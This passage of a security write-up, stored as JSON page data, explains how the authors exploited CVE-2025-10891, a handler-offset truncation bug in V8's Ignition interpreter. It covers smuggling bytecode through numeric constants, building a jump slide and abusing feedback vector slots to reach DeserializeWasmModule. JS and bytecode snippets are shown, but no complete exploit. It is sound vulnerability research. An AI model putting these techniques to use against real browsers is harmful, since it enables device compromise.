it.",{"type":24,"tag":1818,"props":131607,"children":131609},{"id":131608},"choosing-the-bug",[131610],{"type":29,"value":131611},"Choosing the Bug",{"type":24,"tag":25,"props":131613,"children":131614},{},[131615,131617,131623],{"type":29,"value":131616},"We were able to trigger a couple of bugs on our locally compiled ",{"type":24,"tag":32,"props":131618,"children":131620},{"className":131619},[],[131621],{"type":29,"value":131622},"d8",{"type":29,"value":131624}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":24,"tag":25,"props":131626,"children":131627},{},[131628,131630,131637],{"type":29,"value":131629},"Another one was ",{"type":24,"tag":2033,"props":131631,"children":131634},{"href":131632,"rel":131633},"https://issuetracker.google.com/issues/443875388",[2037],[131635],{"type":29,"value":131636},"CVE-2025-10891",{"type":29,"value":131638}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":24,"tag":51,"props":131640,"children":131642},{"id":131641},"ignition-bytecode-introduction",[131643],{"type":29,"value":131644},"Ignition Bytecode Introduction",{"type":24,"tag":25,"props":131646,"children":131647},{},[131648,131650,131657],{"type":29,"value":131649},"V8 initially compiles all JS code to a bytecode format with the ",{"type":24,"tag":2033,"props":131651,"children":131654},{"href":131652,"rel":131653},"https://v8.dev/blog/ignition-interpreter",[2037],[131655],{"type":29,"value":131656},"Ignition",{"type":29,"value":131658}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":24,"tag":73,"props":131660,"children":131662},{"code":131661,"language":76,"meta":7,"className":77,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[131663],{"type":24,"tag":32,"props":131664,"children":131665},{"__ignoreMap":7},[131666,131689,131713,131737],{"type":24,"tag":83,"props":131667,"children":131668},{"class":85,"line":86},[131669,131673,131677,131681,131685],{"type":24,"tag":83,"props":131670,"children":131671},{"style":90},[131672],{"type":29,"value":11534},{"type":24,"tag":83,"props":131674,"children":131675},{"style":137},[131676],{"type":29,"value":89549},{"type":24,"tag":83,"props":131678,"children":131679},{"style":143},[131680],{"type":29,"value":146},{"type":24,"tag":83,"props":131682,"children":131683},{"style":245},[131684],{"type":29,"value":295},{"type":24,"tag":83,"props":131686,"children":131687},{"style":107},[131688],{"type":29,"value":321},{"type":24,"tag":83,"props":131690,"children":131691},{"class":85,"line":113},[131692,131696,131700,131704,131709],{"type":24,"tag":83,"props":131693,"children":131694},{"style":90},[131695],{"type":29,"value":11534},{"type":24,"tag":83,"props":131697,"children":131698},{"style":137},[131699],{"type":29,"value":90423},{"type":24,"tag":83,"props":131701,"children":131702},{"style":143},[131703],{"type":29,"value":146},{"type":24,"tag":83,"props":131705,"children":131706},{"style":245},[131707],{"type":29,"value":131708}," 0x0fff",{"type":24,"tag":83,"props":131710,"children":131711},{"style":107},[131712],{"type":29,"value":321},{"type":24,"tag":83,"props":131714,"children":131715},{"class":85,"line":128},[131716,131720,131724,131728,131733],{"type":24,"tag":83,"props":131717,"children":131718},{"style":90},[131719],{"type":29,"value":11534},{"type":24,"tag":83,"props":131721,"children":131722},{"style":137},[131723],{"type":29,"value":37169},{"type":24,"tag":83,"props":131725,"children":131726},{"style":143},[131727],{"type":29,"value":146},{"type":24,"tag":83,"props":131729,"children":131730},{"style":245},[131731],{"type":29,"value":131732}," 0x0fffffff",{"type":24,"tag":83,"props":131734,"children":131735},{"style":107},[131736],{"type":29,"value":321},{"type":24,"tag":83,"props":131738,"children":131739},{"class":85,"line":183},[131740,131744,131749,131753,131758],{"type":24,"tag":83,"props":131741,"children":131742},{"style":90},[131743],{"type":29,"value":11534},{"type":24,"tag":83,"props":131745,"children":131746},{"style":137},[131747],{"type":29,"value":131748}," d",{"type":24,"tag":83,"props":131750,"children":131751},{"style":143},[131752],{"type":29,"value":146},{"type":24,"tag":83,"props":131754,"children":131755},{"style":245},[131756],{"type":29,"value":131757}," 0xffffffff",{"type":24,"tag":83,"props":131759,"children":131760},{"style":107},[131761],{"type":29,"value":321},{"type":24,"tag":25,"props":131763,"children":131764},{},[131765],{"type":29,"value":131766},"compiles to",{"type":24,"tag":73,"props":131768,"children":131770},{"code":131769}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[131771],{"type":24,"tag":32,"props":131772,"children":131773},{"__ignoreMap":7},[131774],{"type":29,"value":131769},{"type":24,"tag":25,"props":131776,"children":131777},{},[131778],{"type":29,"value":131779},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":24,"tag":1818,"props":131781,"children":131783},{"id":131782},"cve-2025-10891",[131784],{"type":29,"value":131636},{"type":24,"tag":25,"props":131786,"children":131787},{},[131788,131790,131796,131798,131804],{"type":29,"value":131789},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":24,"tag":32,"props":131791,"children":131793},{"className":131792},[],[131794],{"type":29,"value":131795},"[start, end) => handler",{"type":29,"value":131797}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":24,"tag":32,"props":131799,"children":131801},{"className":131800},[],[131802],{"type":29,"value":131803},"handler",{"type":29,"value":131805}," is jumped to.",{"type":24,"tag":73,"props":131807,"children":131809},{"code":131808,"language":76,"meta":7,"className":77,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[131810],{"type":24,"tag":32,"props":131811,"children":131812},{"__ignoreMap":7},[131813,131824,131839,131854,131877],{"type":24,"tag":83,"props":131814,"children":131815},{"class":85,"line":86},[131816,131820],{"type":24,"tag":83,"props":131817,"children":131818},{"style":117},[131819],{"type":29,"value":48050},{"type":24,"tag":83,"props":131821,"children":131822},{"style":107},[131823],{"type":29,"value":125},{"type":24,"tag":83,"props":131825,"children":131826},{"class":85,"line":113},[131827,131831,131835],{"type":24,"tag":83,"props":131828,"children":131829},{"style":117},[131830],{"type":29,"value":34936},{"type":24,"tag":83,"props":131832,"children":131833},{"style":245},[131834],{"type":29,"value":295},{"type":24,"tag":83,"props":131836,"children":131837},{"style":107},[131838],{"type":29,"value":321},{"type":24,"tag":83,"props":131840,"children":131841},{"class":85,"line":128},[131842,131846,131850],{"type":24,"tag":83,"props":131843,"children":131844},{"style":107},[131845],{"type":29,"value":1317},{"type":24,"tag":83,"props":131847,"children":131848},{"style":117},[131849],{"type":29,"value":1295},{"type":24,"tag":83,"props":131851,"children":131852},{"style":107},[131853],{"type":29,"value":125},{"type":24,"tag":83,"props":131855,"children":131856},{"class":85,"line":183},[131857,131861,131865,131869,131873],{"type":24,"tag":83,"props":131858,"children":131859},{"style":90},[131860],{"type":29,"value":655},{"type":24,"tag":83,"props":131862,"children":131863},{"style":137},[131864],{"type":29,"value":90423},{"type":24,"tag":83,"props":131866,"children":131867},{"style":143},[131868],{"type":29,"value":146},{"type":24,"tag":83,"props":131870,"children":131871},{"style":245},[131872],{"type":29,"value":7681},{"type":24,"tag":83,"props":131874,"children":131875},{"style":107},[131876],{"type":29,"value":321},{"type":24,"tag":83,"props":131878,"children":131879},{"class":85,"line":203},[131880],{"type":24,"tag":83,"props":131881,"children":131882},{"style":107},[131883],{"type":29,"value":464},{"type":24,"tag":73,"props":131885,"children":131887},{"code":131886}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[131888],{"type":24,"tag":32,"props":131889,"children":131890},{"__ignoreMap":7},[131891],{"type":29,"value":131886},{"type":24,"tag":25,"props":131893,"children":131894},{},[131895,131897,131902,131904,131909],{"type":29,"value":131896},"However, the ",{"type":24,"tag":32,"props":131898,"children":131900},{"className":131899},[],[131901],{"type":29,"value":131803},{"type":29,"value":131903}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":24,"tag":32,"props":131905,"children":131907},{"className":131906},[],[131908],{"type":29,"value":1295},{"type":29,"value":131910}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":24,"tag":25,"props":131912,"children":131913},{},[131914,131916,131922],{"type":29,"value":131915},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":24,"tag":32,"props":131917,"children":131919},{"className":131918},[],[131920],{"type":29,"value":131921},"yield*",{"type":29,"value":131923}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":24,"tag":51,"props":131925,"children":131927},{"id":131926},"exploitation",[131928],{"type":29,"value":131929},"Exploitation",{"type":24,"tag":1818,"props":131931,"children":131933},{"id":131932},"constant-smuggling",[131934],{"type":29,"value":131935},"Constant Smuggling",{"type":24,"tag":25,"props":131937,"children":131938},{},[131939,131941,131948],{"type":29,"value":131940},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":24,"tag":2033,"props":131942,"children":131945},{"href":131943,"rel":131944},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[2037],[131946],{"type":29,"value":131947},"technique",{"type":29,"value":131949}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":24,"tag":73,"props":131951,"children":131953},{"code":131952,"language":76,"meta":7,"className":77,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[131954],{"type":24,"tag":32,"props":131955,"children":131956},{"__ignoreMap":7},[131957,131985,132012,132039],{"type":24,"tag":83,"props":131958,"children":131959},{"class":85,"line":86},[131960,131964,131968,131972,131976,131981],{"type":24,"tag":83,"props":131961,"children":131962},{"style":90},[131963],{"type":29,"value":11534},{"type":24,"tag":83,"props":131965,"children":131966},{"style":137},[131967],{"type":29,"value":89549},{"type":24,"tag":83,"props":131969,"children":131970},{"style":143},[131971],{"type":29,"value":146},{"type":24,"tag":83,"props":131973,"children":131974},{"style":143},[131975],{"type":29,"value":50970},{"type":24,"tag":83,"props":131977,"children":131978},{"style":245},[131979],{"type":29,"value":131980},"9.255963134931783e61",{"type":24,"tag":83,"props":131982,"children":131983},{"style":107},[131984],{"type":29,"value":321},{"type":24,"tag":83,"props":131986,"children":131987},{"class":85,"line":113},[131988,131992,131996,132000,132004,132008],{"type":24,"tag":83,"props":131989,"children":131990},{"style":90},[131991],{"type":29,"value":11534},{"type":24,"tag":83,"props":131993,"children":131994},{"style":137},[131995],{"type":29,"value":90423},{"type":24,"tag":83,"props":131997,"children":131998},{"style":143},[131999],{"type":29,"value":146},{"type":24,"tag":83,"props":132001,"children":132002},{"style":143},[132003],{"type":29,"value":50970},{"type":24,"tag":83,"props":132005,"children":132006},{"style":245},[132007],{"type":29,"value":131980},{"type":24,"tag":83,"props":132009,"children":132010},{"style":107},[132011],{"type":29,"value":321},{"type":24,"tag":83,"props":132013,"children":132014},{"class":85,"line":128},[132015,132019,132023,132027,132031,132035],{"type":24,"tag":83,"props":132016,"children":132017},{"style":90},[132018],{"type":29,"value":11534},{"type":24,"tag":83,"props":132020,"children":132021},{"style":137},[132022],{"type":29,"value":37169},{"type":24,"tag":83,"props":132024,"children":132025},{"style":143},[132026],{"type":29,"value":146},{"type":24,"tag":83,"props":132028,"children":132029},{"style":143},[132030],{"type":29,"value":50970},{"type":24,"tag":83,"props":132032,"children":132033},{"style":245},[132034],{"type":29,"value":131980},{"type":24,"tag":83,"props":132036,"children":132037},{"style":107},[132038],{"type":29,"value":321},{"type":24,"tag":83,"props":132040,"children":132041},{"class":85,"line":183},[132042,132046,132050,132054,132058,132062],{"type":24,"tag":83,"props":132043,"children":132044},{"style":90},[132045],{"type":29,"value":11534},{"type":24,"tag":83,"props":132047,"children":132048},{"style":137},[132049],{"type":29,"value":131748},{"type":24,"tag":83,"props":132051,"children":132052},{"style":143},[132053],{"type":29,"value":146},{"type":24,"tag":83,"props":132055,"children":132056},{"style":143},[132057],{"type":29,"value":50970},{"type":24,"tag":83,"props":132059,"children":132060},{"style":245},[132061],{"type":29,"value":131980},{"type":24,"tag":83,"props":132063,"children":132064},{"style":107},[132065],{"type":29,"value":321},{"type":24,"tag":25,"props":132067,"children":132068},{},[132069],{"type":29,"value":132070},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":24,"tag":25,"props":132072,"children":132073},{},[132074],{"type":29,"value":132075},"We'll use a similar principle here, although much more limited. With",{"type":24,"tag":73,"props":132077,"children":132079},{"code":132078},"let a = 0x0693bebe;\n",[132080],{"type":24,"tag":32,"props":132081,"children":132082},{"__ignoreMap":7},[132083],{"type":29,"value":132078},{"type":24,"tag":25,"props":132085,"children":132086},{},[132087],{"type":29,"value":132088},"We will compile the bytecode:",{"type":24,"tag":73,"props":132090,"children":132092},{"code":132091},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[132093],{"type":24,"tag":32,"props":132094,"children":132095},{"__ignoreMap":7},[132096],{"type":29,"value":132091},{"type":24,"tag":25,"props":132098,"children":132099},{},[132100,132102,132108,132110,132116,132117,132123],{"type":29,"value":132101},"We can then jump to the 3rd byte (",{"type":24,"tag":32,"props":132103,"children":132105},{"className":132104},[],[132106],{"type":29,"value":132107},"0xbe",{"type":29,"value":132109},"), and gain 2 controlled bytes of execution, followed by ",{"type":24,"tag":32,"props":132111,"children":132113},{"className":132112},[],[132114],{"type":29,"value":132115},"0x93 0x02 - 0xf",{"type":29,"value":223},{"type":24,"tag":32,"props":132118,"children":132120},{"className":132119},[],[132121],{"type":29,"value":132122},"Jump +[2-15]",{"type":29,"value":132124},") to jump into the next constant.",{"type":24,"tag":25,"props":132126,"children":132127},{},[132128,132130,132136,132138,132144,132146,132152],{"type":29,"value":132129},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":24,"tag":32,"props":132131,"children":132133},{"className":132132},[],[132134],{"type":29,"value":132135},"StarX",{"type":29,"value":132137}," instructions, registers 16-121 resulted in two bytes ",{"type":24,"tag":32,"props":132139,"children":132141},{"className":132140},[],[132142],{"type":29,"value":132143},"Star rX",{"type":29,"value":132145}," instructions, and the next batch resulted in 4 byte ",{"type":24,"tag":32,"props":132147,"children":132149},{"className":132148},[],[132150],{"type":29,"value":132151},"Star.ExtraWide rX",{"type":29,"value":132153}," instructions.",{"type":24,"tag":25,"props":132155,"children":132156},{},[132157,132159,132165],{"type":29,"value":132158},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":24,"tag":32,"props":132160,"children":132162},{"className":132161},[],[132163],{"type":29,"value":132164},"0x8931111",{"type":29,"value":195},{"type":24,"tag":73,"props":132167,"children":132169},{"code":132168,"language":76,"meta":7,"className":77,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[132170],{"type":24,"tag":32,"props":132171,"children":132172},{"__ignoreMap":7},[132173,132198,132222,132246,132270,132294,132318],{"type":24,"tag":83,"props":132174,"children":132175},{"class":85,"line":86},[132176,132180,132185,132189,132194],{"type":24,"tag":83,"props":132177,"children":132178},{"style":90},[132179],{"type":29,"value":11534},{"type":24,"tag":83,"props":132181,"children":132182},{"style":137},[132183],{"type":29,"value":132184}," a206",{"type":24,"tag":83,"props":132186,"children":132187},{"style":143},[132188],{"type":29,"value":146},{"type":24,"tag":83,"props":132190,"children":132191},{"style":245},[132192],{"type":29,"value":132193}," 0x8931111",{"type":24,"tag":83,"props":132195,"children":132196},{"style":107},[132197],{"type":29,"value":321},{"type":24,"tag":83,"props":132199,"children":132200},{"class":85,"line":113},[132201,132205,132210,132214,132218],{"type":24,"tag":83,"props":132202,"children":132203},{"style":90},[132204],{"type":29,"value":11534},{"type":24,"tag":83,"props":132206,"children":132207},{"style":137},[132208],{"type":29,"value":132209}," a207",{"type":24,"tag":83,"props":132211,"children":132212},{"style":143},[132213],{"type":29,"value":146},{"type":24,"tag":83,"props":132215,"children":132216},{"style":245},[132217],{"type":29,"value":132193},{"type":24,"tag":83,"props":132219,"children":132220},{"style":107},[132221],{"type":29,"value":321},{"type":24,"tag":83,"props":132223,"children":132224},{"class":85,"line":128},[132225,132229,132234,132238,132242],{"type":24,"tag":83,"props":132226,"children":132227},{"style":90},[132228],{"type":29,"value":11534},{"type":24,"tag":83,"props":132230,"children":132231},{"style":137},[132232],{"type":29,"value":132233}," a208",{"type":24,"tag":83,"props":132235,"children":132236},{"style":143},[132237],{"type":29,"value":146},{"type":24,"tag":83,"props":132239,"children":132240},{"style":245},[132241],{"type":29,"value":132193},{"type":24,"tag":83,"props":132243,"children":132244},{"style":107},[132245],{"type":29,"value":321},{"type":24,"tag":83,"props":132247,"children":132248},{"class":85,"line":183},[132249,132253,132258,132262,132266],{"type":24,"tag":83,"props":132250,"children":132251},{"style":90},[132252],{"type":29,"value":11534},{"type":24,"tag":83,"props":132254,"children":132255},{"style":137},[132256],{"type":29,"value":132257}," a209",{"type":24,"tag":83,"props":132259,"children":132260},{"style":143},[132261],{"type":29,"value":146},{"type":24,"tag":83,"props":132263,"children":132264},{"style":245},[132265],{"type":29,"value":132193},{"type":24,"tag":83,"props":132267,"children":132268},{"style":107},[132269],{"type":29,"value":321},{"type":24,"tag":83,"props":132271,"children":132272},{"class":85,"line":203},[132273,132277,132282,132286,132290],{"type":24,"tag":83,"props":132274,"children":132275},{"style":90},[132276],{"type":29,"value":11534},{"type":24,"tag":83,"props":132278,"children":132279},{"style":137},[132280],{"type":29,"value":132281}," a210",{"type":24,"tag":83,"props":132283,"children":132284},{"style":143},[132285],{"type":29,"value":146},{"type":24,"tag":83,"props":132287,"children":132288},{"style":245},[132289],{"type":29,"value":132193},{"type":24,"tag":83,"props":132291,"children":132292},{"style":107},[132293],{"type":29,"value":321},{"type":24,"tag":83,"props":132295,"children":132296},{"class":85,"line":212},[132297,132301,132306,132310,132314],{"type":24,"tag":83,"props":132298,"children":132299},{"style":90},[132300],{"type":29,"value":11534},{"type":24,"tag":83,"props":132302,"children":132303},{"style":137},[132304],{"type":29,"value":132305}," a211",{"type":24,"tag":83,"props":132307,"children":132308},{"style":143},[132309],{"type":29,"value":146},{"type":24,"tag":83,"props":132311,"children":132312},{"style":245},[132313],{"type":29,"value":132193},{"type":24,"tag":83,"props":132315,"children":132316},{"style":107},[132317],{"type":29,"value":321},{"type":24,"tag":83,"props":132319,"children":132320},{"class":85,"line":256},[132321,132325,132330,132334,132338],{"type":24,"tag":83,"props":132322,"children":132323},{"style":90},[132324],{"type":29,"value":11534},{"type":24,"tag":83,"props":132326,"children":132327},{"style":137},[132328],{"type":29,"value":132329}," a212",{"type":24,"tag":83,"props":132331,"children":132332},{"style":143},[132333],{"type":29,"value":146},{"type":24,"tag":83,"props":132335,"children":132336},{"style":245},[132337],{"type":29,"value":132193},{"type":24,"tag":83,"props":132339,"children":132340},{"style":107},[132341],{"type":29,"value":321},{"type":24,"tag":25,"props":132343,"children":132344},{},[132345],{"type":29,"value":132346},"Those instructions result in:",{"type":24,"tag":73,"props":132348,"children":132350},{"code":132349},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[132351],{"type":24,"tag":32,"props":132352,"children":132353},{"__ignoreMap":7},[132354],{"type":29,"value":132349},{"type":24,"tag":25,"props":132356,"children":132357},{},[132358,132360,132366,132368,132372],{"type":29,"value":132359},"(The offset of ",{"type":24,"tag":32,"props":132361,"children":132363},{"className":132362},[],[132364],{"type":29,"value":132365},"Jump",{"type":29,"value":132367}," instructions is added to the ",{"type":24,"tag":2655,"props":132369,"children":132370},{},[132371],{"type":29,"value":70806},{"type":29,"value":132373}," of the instruction.)",{"type":24,"tag":25,"props":132375,"children":132376},{},[132377,132379,132385],{"type":29,"value":132378},"Now, 3 out of the 6 bytes in a ",{"type":24,"tag":32,"props":132380,"children":132382},{"className":132381},[],[132383],{"type":29,"value":132384},"LdaSmi.ExtraWide",{"type":29,"value":132386}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":24,"tag":1818,"props":132388,"children":132390},{"id":132389},"exploit-goal",[132391],{"type":29,"value":132392},"Exploit Goal",{"type":24,"tag":25,"props":132394,"children":132395},{},[132396,132398,132404,132405,132411],{"type":29,"value":132397},"Initially we considered using ",{"type":24,"tag":32,"props":132399,"children":132401},{"className":132400},[],[132402],{"type":29,"value":132403},"Star",{"type":29,"value":4325},{"type":24,"tag":32,"props":132406,"children":132408},{"className":132407},[],[132409],{"type":29,"value":132410},"Ldar",{"type":29,"value":132412}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":24,"tag":25,"props":132414,"children":132415},{},[132416,132418,132425],{"type":29,"value":132417},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":24,"tag":2033,"props":132419,"children":132422},{"href":132420,"rel":132421},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[2037],[132423],{"type":29,"value":132424},"stack pivot and ROP",{"type":29,"value":132426},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":24,"tag":25,"props":132428,"children":132429},{},[132430],{"type":29,"value":132431},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":24,"tag":25,"props":132433,"children":132434},{},[132435],{"type":29,"value":132436},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":24,"tag":25,"props":132438,"children":132439},{},[132440,132442,132448,132450,132456,132458,132464],{"type":29,"value":132441},"At this point, we identified an interesting opcode: ",{"type":24,"tag":32,"props":132443,"children":132445},{"className":132444},[],[132446],{"type":29,"value":132447},"CallRuntime",{"type":29,"value":132449},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":24,"tag":32,"props":132451,"children":132453},{"className":132452},[],[132454],{"type":29,"value":132455},"--allow-natives-syntax",{"type":29,"value":132457}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":24,"tag":32,"props":132459,"children":132461},{"className":132460},[],[132462],{"type":29,"value":132463},"DeserializeWasmModule",{"type":29,"value":161},{"type":24,"tag":25,"props":132466,"children":132467},{},[132468,132470,132477,132478,132483,132484,132490,132492,132499],{"type":29,"value":132469},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":24,"tag":2033,"props":132471,"children":132474},{"href":132472,"rel":132473},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[2037],[132475],{"type":29,"value":132476},"JIT-compiled functions",{"type":29,"value":18269},{"type":24,"tag":32,"props":132479,"children":132481},{"className":132480},[],[132482],{"type":29,"value":132463},{"type":29,"value":4325},{"type":24,"tag":32,"props":132485,"children":132487},{"className":132486},[],[132488],{"type":29,"value":132489},"SerializeWasmModule",{"type":29,"value":132491}," themselves are only used from test functions, and indeed have been ",{"type":24,"tag":2033,"props":132493,"children":132496},{"href":132494,"rel":132495},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[2037],[132497],{"type":29,"value":132498},"removed",{"type":29,"value":132500}," from recent production V8 builds due to how abusable this functionality is.",{"type":24,"tag":25,"props":132502,"children":132503},{},[132504,132506,132512,132514,132520,132522,132527,132529,132535,132537,132542,132543,132548,132549,132554,132556,132562,132564,132568],{"type":29,"value":132505},"However, calling this opcode represented a significant challenge:\n",{"type":24,"tag":32,"props":132507,"children":132509},{"className":132508},[],[132510],{"type":29,"value":132511},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":29,"value":132513},"\nWhere ",{"type":24,"tag":32,"props":132515,"children":132517},{"className":132516},[],[132518],{"type":29,"value":132519},"func-id",{"type":29,"value":132521}," is a 2-byte function ID, ",{"type":24,"tag":32,"props":132523,"children":132525},{"className":132524},[],[132526],{"type":29,"value":514},{"type":29,"value":132528}," is the index of the last register passed and ",{"type":24,"tag":32,"props":132530,"children":132532},{"className":132531},[],[132533],{"type":29,"value":132534},"argc",{"type":29,"value":132536}," is the number of arguments passed (e.g. passing ",{"type":24,"tag":32,"props":132538,"children":132540},{"className":132539},[],[132541],{"type":29,"value":44099},{"type":29,"value":568},{"type":24,"tag":32,"props":132544,"children":132546},{"className":132545},[],[132547],{"type":29,"value":44242},{"type":29,"value":2287},{"type":24,"tag":32,"props":132550,"children":132552},{"className":132551},[],[132553],{"type":29,"value":44225},{"type":29,"value":132555}," would be encoded as ",{"type":24,"tag":32,"props":132557,"children":132559},{"className":132558},[],[132560],{"type":29,"value":132561},"\u003Cr2> \u003C3>",{"type":29,"value":132563},").\nThis requires ",{"type":24,"tag":2655,"props":132565,"children":132566},{},[132567],{"type":29,"value":17845},{"type":29,"value":132569}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":24,"tag":1818,"props":132571,"children":132573},{"id":132572},"better-bytecode-control",[132574],{"type":29,"value":132575},"Better Bytecode Control",{"type":24,"tag":25,"props":132577,"children":132578},{},[132579,132581,132588,132590,132596],{"type":29,"value":132580},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":24,"tag":2033,"props":132582,"children":132585},{"href":132583,"rel":132584},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[2037],[132586],{"type":29,"value":132587},"feedback vector slot",{"type":29,"value":132589},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":24,"tag":32,"props":132591,"children":132593},{"className":132592},[],[132594],{"type":29,"value":132595},"AddSmi",{"type":29,"value":132597}," instruction, it represents the number of operations performed on the target value so far.",{"type":24,"tag":25,"props":132599,"children":132600},{},[132601],{"type":29,"value":132602},"For example, we can look at the below Ignition disassembly:",{"type":24,"tag":73,"props":132604,"children":132606},{"code":132605},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[132607],{"type":24,"tag":32,"props":132608,"children":132609},{"__ignoreMap":7},[132610],{"type":29,"value":132605},{"type":24,"tag":25,"props":132612,"children":132613},{},[132614,132616,132622],{"type":29,"value":132615},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":24,"tag":32,"props":132617,"children":132619},{"className":132618},[],[132620],{"type":29,"value":132621},"AddSmi.ExtraWide",{"type":29,"value":132623},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":24,"tag":25,"props":132625,"children":132626},{},[132627],{"type":29,"value":132628},"Eventually, we can reach a stage like this:",{"type":24,"tag":73,"props":132630,"children":132632},{"code":132631},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[132633],{"type":24,"tag":32,"props":132634,"children":132635},{"__ignoreMap":7},[132636],{"type":29,"value":132631},{"type":24,"tag":25,"props":132638,"children":132639},{},[132640],{"type":29,"value":132641},"If you skip the first two bytes, you have",{"type":24,"tag":16422,"props":132643,"children":132644},{},[132645,132676],{"type":24,"tag":67,"props":132646,"children":132647},{},[132648,132653,132655,132660,132662,132668,132670],{"type":24,"tag":32,"props":132649,"children":132651},{"className":132650},[],[132652],{"type":29,"value":132447},{"type":29,"value":132654}," (0x6c) to 